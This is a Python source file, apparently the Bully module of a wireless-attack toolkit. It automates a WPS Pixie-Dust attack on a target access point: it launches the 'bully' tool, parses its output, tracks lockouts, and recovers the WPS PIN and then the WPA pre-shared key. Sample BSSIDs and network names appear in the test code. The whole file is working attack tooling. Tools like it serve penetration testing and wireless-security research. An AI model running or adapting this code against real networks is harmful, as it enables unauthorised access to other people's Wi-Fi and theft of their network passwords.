333 lines
11 KiB
Python
Executable File
333 lines
11 KiB
Python
Executable File
#!/usr/bin/env python
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# -*- coding: utf-8 -*-
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from .dependency import Dependency
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from .airodump import Airodump
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from ..model.attack import Attack
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from ..model.wps_result import CrackResultWPS
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from ..util.color import Color
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from ..util.timer import Timer
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from ..util.process import Process
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from ..config import Configuration
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import os, time, re
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from threading import Thread
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class Bully(Attack, Dependency):
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dependency_required = False
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dependency_name = 'bully'
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dependency_url = 'https://github.com/aanarchyy/bully'
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def __init__(self, target):
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super(Bully, self).__init__(target)
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self.total_timeouts = 0
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self.total_failures = 0
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self.locked = False
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self.state = "{O}Waiting for beacon{W}"
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self.start_time = time.time()
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self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None
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self.crack_result = None
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self.target = target
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self.cmd = []
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if Process.exists('stdbuf'):
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self.cmd.extend([
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"stdbuf", "-o0" # No buffer. See https://stackoverflow.com/a/40453613/7510292
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])
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self.cmd.extend([
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"bully",
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"--bssid", target.bssid,
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"--channel", target.channel,
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"--detectlock", # Detect WPS lockouts unreported by AP
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"--force",
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"-v", "4",
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"--pixiewps",
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Configuration.interface
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])
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self.bully_proc = None
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def run(self):
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with Airodump(channel=self.target.channel,
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target_bssid=self.target.bssid,
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skip_wps=True,
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output_file_prefix='wps_pin') as airodump:
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# Wait for target
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self.pattack("Waiting for target to appear...")
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self.target = self.wait_for_target(airodump)
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# Start bully
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self.bully_proc = Process(self.cmd,
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stderr=Process.devnull(),
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bufsize=0,
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cwd=Configuration.temp())
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# Start bully status thread
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t = Thread(target=self.parse_line_thread)
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t.daemon = True
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t.start()
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try:
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while self.bully_proc.poll() is None:
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try:
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self.target = self.wait_for_target(airodump)
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except Exception as e:
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self.pattack('{R}Failed: {O}%s{W}' % e, newline=True)
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self.stop()
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break
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# Update status
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self.pattack(self.get_status())
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# Check if entire attack timed out.
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if self.running_time() > Configuration.wps_pixie_timeout:
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self.pattack('{R}Failed: {O}Timeout after %d seconds{W}' % Configuration.wps_pixie_timeout, newline=True)
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self.stop()
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return
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# Check if timeout threshold was breached
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if self.total_timeouts >= Configuration.wps_timeout_threshold:
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self.pattack('{R}Failed: {O}More than %d timeouts{W}' % Configuration.wps_timeout_threshold, newline=True)
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self.stop()
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return
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# Check if WPSFail threshold was breached
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if self.total_failures >= Configuration.wps_fail_threshold:
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self.pattack('{R}Failed: {O}More than %d WPSFails{W}' % Configuration.wps_fail_threshold, newline=True)
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self.stop()
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return
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time.sleep(0.5)
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except KeyboardInterrupt as e:
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self.stop()
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raise e
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except Exception as e:
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self.stop()
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raise e
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if self.crack_result is None:
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self.pattack("{R}Failed{W}", newline=True)
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def pattack(self, message, newline=False):
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# Print message with attack information.
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time_left = Configuration.wps_pixie_timeout - self.running_time()
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Color.clear_entire_line()
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Color.pattack("WPS",
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self.target,
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'Pixie-Dust',
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'{W}[{C}%s{W}] %s' % (Timer.secs_to_str(time_left), message))
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if newline:
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Color.pl("")
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def running_time(self):
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return int(time.time() - self.start_time)
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def get_status(self):
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main_status = self.state
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meta_statuses = []
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if self.total_timeouts > 0:
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meta_statuses.append("{O}Timeouts:%d{W}" % self.total_timeouts)
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if self.total_failures > 0:
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meta_statuses.append("{O}WPSFail:%d{W}" % self.total_failures)
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if self.locked:
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meta_statuses.append("{R}Locked{W}")
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if len(meta_statuses) > 0:
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main_status += ' (%s)' % ', '.join(meta_statuses)
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return main_status
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def parse_line_thread(self):
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for line in iter(self.bully_proc.pid.stdout.readline, b""):
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if line == "": continue
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line = line.replace("\r", "").replace("\n", "").strip()
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if Configuration.verbose > 1:
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Color.pe('\n{P} [bully:stdout] %s' % line)
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self.state = self.parse_state(line)
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self.crack_result = self.parse_crack_result(line)
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if self.crack_result:
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break
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def parse_crack_result(self, line):
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# Check for line containing PIN and PSK
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# [*] Pin is '80246213', key is 'password'
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pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line)
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if pin_key_re:
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self.cracked_pin = pin_key_re.group(1)
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self.cracked_key = pin_key_re.group(2)
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###############
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# Check for PIN
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if self.cracked_pin is None:
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# PIN : '80246213'
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pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line)
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if pin_re:
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self.cracked_pin = pin_re.group(1)
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# [Pixie-Dust] PIN FOUND: 01030365
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pin_re = re.search(r"^\[Pixie-Dust\] PIN FOUND: '?(\d*)'?\s*$", line)
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if pin_re:
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self.cracked_pin = pin_re.group(1)
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if self.cracked_pin is not None:
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# Mention the PIN & that we're not done yet.
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self.pattack("{G}Cracked PIN: {C}%s{W}" % self.cracked_pin, newline=True)
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self.state = "{G}Finding PSK...{C}"
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time.sleep(2)
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###########################
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# KEY : 'password'
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key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line)
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if key_re:
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self.cracked_key = key_re.group(1)
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if not self.crack_result and self.cracked_pin and self.cracked_key:
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self.pattack("{G}Cracked PSK: {C}%s{W}" % self.cracked_key, newline=True)
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self.crack_result = CrackResultWPS(
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self.target.bssid,
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self.target.essid,
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self.cracked_pin,
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self.cracked_key)
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Color.pl("")
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self.crack_result.dump()
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return self.crack_result
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def parse_state(self, line):
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state = self.state
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# [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c)
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got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line)
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if got_beacon:
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# group(1)=ESSID, group(2)=BSSID
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state = "Got beacon"
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# [+] Last State = 'NoAssoc' Next pin '48855501'
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last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line)
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if last_state:
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# group(1)=result, group(2)=PIN
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pin = last_state.group(2)
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state = "Trying PIN {C}%s{W} (%s)" % (pin, last_state.group(1))
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# [+] Tx( Auth ) = 'Timeout' Next pin '80241263'
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mx_result_pin = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line)
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if mx_result_pin:
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self.locked = False
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# group(1)=M3/M5, group(2)=result, group(3)=PIN
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m_state = mx_result_pin.group(1)
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result = mx_result_pin.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
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pin = mx_result_pin.group(3)
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if result == "Timeout":
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self.total_timeouts += 1
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result = "{O}%s{W}" % result
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elif result == "WPSFail":
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self.total_failures += 1
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result = "{O}%s{W}" % result
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elif result == "NoAssoc":
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result = "{O}%s{W}" % result
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else:
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result = "{R}%s{W}" % result
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result = "{P}%s{W}:%s" % (m_state.strip(), result.strip())
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state = "Trying PIN {C}%s{W} (%s)" % (pin, result)
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# [!] WPS lockout reported, sleeping for 43 seconds ...
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re_lockout = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line)
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if re_lockout:
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self.locked = True
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sleeping = re_lockout.group(1)
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state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping
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# [Pixie-Dust] WPS pin not found
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re_pin_not_found = re.search(r".*\[Pixie-Dust\] WPS pin not found", line)
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if re_pin_not_found:
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state = "{R}Failed: {O}Bully says 'WPS pin not found'{W}"
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# [+] Running pixiewps with the information, wait ...
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re_running_pixiewps = re.search(r".*Running pixiewps with the information", line)
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if re_running_pixiewps:
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state = "{G}Running pixiewps...{W}"
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return state
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def stop(self):
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if hasattr(self, "pid") and self.pid and self.pid.poll() is None:
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self.pid.interrupt()
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def __del__(self):
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self.stop()
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@staticmethod
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def get_psk_from_pin(target, pin):
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# Fetches PSK from a Target assuming "pin" is the correct PIN
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'''
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bully --channel 1 --bssid 34:21:09:01:92:7C --pin 01030365 --bruteforce wlan0mon
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PIN : '01030365'
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KEY : 'password'
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BSSID : '34:21:09:01:92:7c'
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ESSID : 'AirLink89300'
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'''
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cmd = [
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'bully',
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'--channel', target.channel,
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'--bssid', target.bssid,
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'--pin', pin,
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'--bruteforce',
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'--force',
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Configuration.interface
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]
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bully_proc = Process(cmd)
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for line in bully_proc.stderr().split('\n'):
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key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line)
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if key_re is not None:
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psk = key_re.group(1)
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return psk
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return None
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if __name__ == '__main__':
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Configuration.initialize()
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Configuration.interface = 'wlan0mon'
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from ..model.target import Target
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fields = '34:21:09:01:92:7C,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,AirLink89300,'.split(',')
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target = Target(fields)
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psk = Bully.get_psk_from_pin(target, '01030365')
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print("psk", psk)
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'''
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stdout = " [*] Pin is '11867722', key is '9a6f7997'"
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Configuration.initialize(False)
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from ..model.target import Target
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fields = 'AA:BB:CC:DD:EE:FF,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,HOME-ABCD,'.split(',')
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target = Target(fields)
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b = Bully(target)
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b.parse_line(stdout)
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'''
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